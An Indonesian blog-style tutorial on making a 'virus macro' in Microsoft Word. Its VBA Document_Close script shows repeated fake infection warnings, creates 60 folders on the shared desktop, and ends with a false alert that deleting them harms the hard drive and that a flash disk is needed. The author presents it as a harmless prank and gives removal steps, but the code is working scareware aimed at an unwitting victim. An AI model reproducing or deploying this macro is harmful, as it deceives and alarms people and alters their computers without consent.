CARA MEMBUAT VIRUS MACRO

Kita pasti pernah di kerjain oleh temen-temen kita,rasanya jengkel sekali apalagi menyangkut hal-hal seperti data-data yang ada dikomputer, ughh stresss kalo sampe hilang tuchh…nachhh di sini kita akan sedikit nakal…hehehe nakal apaan nee..lanjut, Microsoft office banyak sekali kegunaan untuk membantu pekerjaan kita, seperti Microsoft word disini kita akan manfaatkan VBA yang ada di microsof word, VBA adalah sebuah aplikasi yang di buat untuk membantu kita VBA ini mirip seperti bahasa pemograman Visual Basic, nah di sini kita akan membuat sebuah virus bohongan dengan memanfaatkan VBA.

Langkah-langkahnya ne.. : )

· Buka Microsoft Word

· Lalu tekan ALT+F11

· Klik 2x this Documen pada normal

· Ketik scipt ini:

Private Sub Document_close()

On Error Resume Next

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

MsgBox "KOMPUTER ANDA TERSERANG VIRUS CINTA DATA ANDA AKAN BUNUH DIRI SETELAH DETIK KE SEPULUH SEGERA AMANKAN FILE-FILE ANDA", vbCritical, "Virus Founded"

For n = 1 To 60

MkDir "C:\Documents and Settings\All Users\Desktop\Virus_Cinta" & n

Next n

MsgBox "JANGAN MENGHAPUS FOLDER YANG ADA DI DESKTOP DAPAT MERUSAK HARD DRIVE,MASUKAN FLASH DISK UNTUK MENGGANTIKAN KERUSAKAN HARDWARE", vbInformation, "Saran Programer"

End Sub

UNTUK MENGEMBALIKAN SEPERTI AWAL HAPUS AJ FOLDER YANG ADA DI DESKTOP LALU HAPUS SCRIPT YANG ADA DI MACRO EDITOR LALU SAVE